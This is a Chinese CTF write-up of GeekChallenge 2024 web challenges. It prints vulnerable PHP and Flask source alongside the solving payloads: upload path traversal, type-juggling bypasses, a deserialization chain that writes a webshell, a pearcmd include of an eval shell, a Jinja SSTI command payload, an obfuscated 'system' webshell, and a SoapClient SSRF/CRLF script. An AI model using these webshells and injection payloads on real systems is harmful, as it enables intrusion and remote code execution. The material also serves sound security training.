2024极客大挑战WEB week1&week2
1315609050541697 发表于 湖北 CTF 430浏览 · 2024-11-20 15:52

baby_upload

文件上传黑名单过滤了很多
但是文件路径可控,通过上传..1.php来穿越目录,访问就拿到shell

  • ..是linux的文件目录,通过访问./uploads/..1.php会返回上级目录

ezwaf

<?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);

# Can you RCE me?


if (!is_array($_POST["start"])) {
    if (!preg_match("/start.*now/is", $_POST["start"])) {
        if (strpos($_POST["start"], "start now") === false) {
            die("Well, you haven't started.<br>");
        }
    }
}

echo "Welcome to GeekChallenge2024!<br>";

if (
    sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
    (string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
    is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
    echo "You took the first step!<br>";

    foreach ($_GET as $key => $value) {
        $$key = $value;
    }

    if (intval($year) < 2024 && intval($year + 1) > 2025) {
        echo "Well, I know the year is 2024<br>";

        if (preg_match("/.+?rce/ism", $purpose)) {
            die("nonono");
        }

        if (stripos($purpose, "rce") === false) {
            die("nonononono");
        }
        echo "Get the flag now!<br>";
        eval($GLOBALS['code']);




    } else {
        echo "It is not enough to stop you!<br>";
    }
} else {
    echo "It is so easy, do you know sha1 and md5?<br>";
}
?>

sha1绕过

0e1290633704: 0e19985187802402577070739524195726831799

传参时因为有连续的两个下划线,第一个不变第二个变大括号

start[]=1&_[2024.geekchallenge.ctf=0e1290633704

intval绕过

year=2023e1

preg_match数组绕过

purpose[]=%0arce%0a

Problem_On_My_Web

有一个让后台访问的功能可以传url参数
有一个评论功能我们打一个xss

然后把链接给他

url=http://127.0.0.1

然后再访问即可得到后台的cookie flag

ezpop

源码如下

<?php
Class SYC{
    public $starven;
    public function __call($name, $arguments){
        if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
            die('no hack');
        }
        file_put_contents($this->starven,"<?php exit();".$this->starven);
    }
}

Class lover{
    public $J1rry;
    public $meimeng;
    public function __destruct(){
        if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
            echo "success";
            $this->meimeng->source;
        }
    }

    public function __invoke()
    {
        echo $this->meimeng;
    }

}

Class Geek{
    public $GSBP;
    public function __get($name){
        $Challenge = $this->GSBP;
        return $Challenge();
    }

    public function __toString(){
        $this->GSBP->Getflag();
        return "Just do it";
    }

}

if($_GET['data']){
    if(preg_match("/meimeng/i",$_GET['data'])){
        die("no hack");
    }
   unserialize($_GET['data']);
}else{
   highlight_file(__FILE__);
}

由于过滤了属性名,我们可以用16进制绕过
php死亡绕过,禁用了很多过滤器,但是过滤器可以用url二次编码绕过
构造pop链

<?php
class SYC
{
    public $starven;
}

class lover
{
    public $J1rry;
    public $meimeng;
}

class Geek
{
    public $GSBP;
}
$a = new lover();
$b = new Geek();
$d = new lover();
$e = new Geek();
$c = new SYC();

$a->J1rry = 'data://text/plain,Welcome GeekChallenge 2024';
$a->meimeng = $b;
$b->GSBP = $d;
$d->meimeng = $e;
$e->GSBP = $c;
$c->starven = 'php://filter/write=string.%7%32ot13|<?cuc @riny($_CBFG[\'k\']);?>|/resource=2.php';
$q = serialize($a);
$f = str_replace('s:7:"meimeng"', 'S:7:"\\6deimeng"', $q);
echo $f;

ez_include

<?php
highlight_file(__FILE__);
require_once 'starven_secret.php';
if(isset($_GET['file'])) {
    if(preg_match('/starven_secret.php/i', $_GET['file'])) {
        require_once $_GET['file'];
    }else{
        echo "还想非预期?";
    }
}

require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

进入第二关

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
    $file = $_GET ["syc"];
    $hint = "register_argc_argv = On";
    if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
        die("hint都给的这么明显了还不会做?");
    }
    if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
        include $file;
    }
}

配置文件中register_argc_argv=on直接打pear文件包含

levelllll2.php?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);?>+/tmp/shell.php

然后包含执行命令

?syc=/tmp/shell.php

1=system('env');

Can_you_Pass_Me

app.py

import random
import re
import os
from flask import Flask, render_template, request, render_template_string

app = Flask(__name__, static_folder='static')

blackList = ['/','flag','+','base','__builtins__','[','cycler','set','{{', 'class','config', 'os', 'popen', 'request', 'session', 'self', 'current_app', 'get', '__globals__', '+', ':', '__globals__', '__init__', '__loader__', '_request_ctx_stack', '_update', 'add', 'after_request','read']

def sanitize_inventory_sold(value):
    sanitized_value = str(value).lower()
    print(sanitized_value)
    for term in blackList:
        if term in sanitized_value:
            print(term)
            return render_template('waf.html')
    return sanitized_value
@app.route('/')
def index():
    return render_template('index.html')

@app.route('/submit', methods=['GET', 'POST'])
def submit():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        name = request.form.get("name")
        template = sanitize_inventory_sold(name)
        res = render_template_string(template)
        env = str(open("/flag").read())
        if env in res:
            return "}Ï
ýÙ7ú°(ÙÌ"
        return "welcome to SycLover 2024 "+res

if __name__ == '__main__':
    app.run(debug=False, port=80)

过滤了很多字符和关键字,,经测试题目不出网
用attr绕过括号,~来拼接字符
并且flag不能出现在结果中可以通过list来转换为列表绕过

{%print(lipsum|attr('__glob'~'als__')|attr('__g'~'et'~'item__')('o'~'s'))|attr('pop'~'en')('cd ..;cat f*')|attr('re'~'ad')()|list%}

SecretInDrivingSchool

刚开始有个登录页面,提示密码三位字母爆破出来SYC
登录超级管理员账户,然后发现有修改代码功能
发现源码过滤了很多函数

<?php
                    if (isset($_POST['save'])) {
                        $newCode = $_POST['code'];

                        // Check for dangerous functions
                        $dangerousFunctions = ['eval', 'exec', 'system', 'shell_exec', 'passthru','popen', 'proc_open','array_filter','call_user_func','POST','GET'];
                        foreach ($dangerousFunctions as $function) {
                            if (stripos($newCode, $function) !== false) {
                                echo "上传的文件内容包含危险函数,上传失败!";
                                exit();
                            }
                        }

                        file_put_contents('ad.php', $newCode);
                        header("Location: adChange.php");
                        echo "广告内容更新成功";
                        exit();
                    }
                    ?>

我们写免杀马绕过

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

ez_SSRF

calculator.php

<?php
$admin = "aaaaaaaaaaaadmin";
$adminpass = "i_want_to_getI00_inMyT3st";
#aaaaaaaaaaaadmin:i_want_to_getI00_inMyT3st calculator.php
function check($auth)
{
    global $admin, $adminpass;
    $auth = str_replace('Basic ', '', $auth);
    $auth = base64_decode($auth);
    list($username, $password) = explode(':', $auth);
    echo $username . "<br>" . $password;
    if ($username === $admin && $password === $adminpass) {
        return 1;
    } else {
        return 2;
    }
}
if ($_SERVER['REMOTE_ADDR'] !== "127.0.0.1") {
    exit("Hacker");
}
$expression = $_POST['expression'];
#Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0
$auth = $_SERVER['HTTP_AUTHORIZATION'];
if (isset($auth)) {
    if (check($auth) === 2) {
        if (!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
            die("Invalid expression");
        } else {
            $result = eval("return $expression;");
            file_put_contents("result", $result);
        }
    } else {
        $result = eval("return $expression;");
        file_put_contents("result", $result);
    }
} else {
    exit("Hacker");
}

h4d333333.php

<?php
error_reporting(0);
if (!isset($_POST['user'])) {
    $user = "stranger";
} else {
    $user = $_POST['user'];
}
#http://127.0.0.1/calculator.php
if (isset($_GET['location'])) {
    $location = $_GET['location'];
    $client = new SoapClient(null, array(
        "location" => $location,
        "uri" => "hahaha",
        "login" => "guest",
        "password" => "gueeeeest!!!!",
        "user_agent" => $user . "'s Chrome"
    ));

    $client->calculator();

    echo file_get_contents("result");
} else {
    echo "Please give me a location";
}

我们需要通过SoapClient来ssrf配合CRLF请求calculator.php执行命令

由于$client->calculator()触发了__call所以会请求$location
python脚本如下之后访问a.txt即可

import requests
import urllib

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

url="http://80-f611f1f6-ba2d-4840-8501-39e4ace0f1e7.challenge.ctfplus.cn/h4d333333.php?location=http://127.0.0.1/calculator.php"

sess=requests.session()

post_string="expression=system(\"cat /f* />a.txt\");"

#aaaaaaaaaaaadmin:i_want_to_getI00_inMyT3st

b='wupco^^Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0^^Content-Type: application/x-www-form-urlencoded^^Content-Length: '+str(len(post_string))+'^^^^'+post_string
d=b.replace('^^','\r\n')
data={
    "user":d
}

res=sess.post(url,data=data)

print(res.text)
0 条评论
某人
表情
可输入 255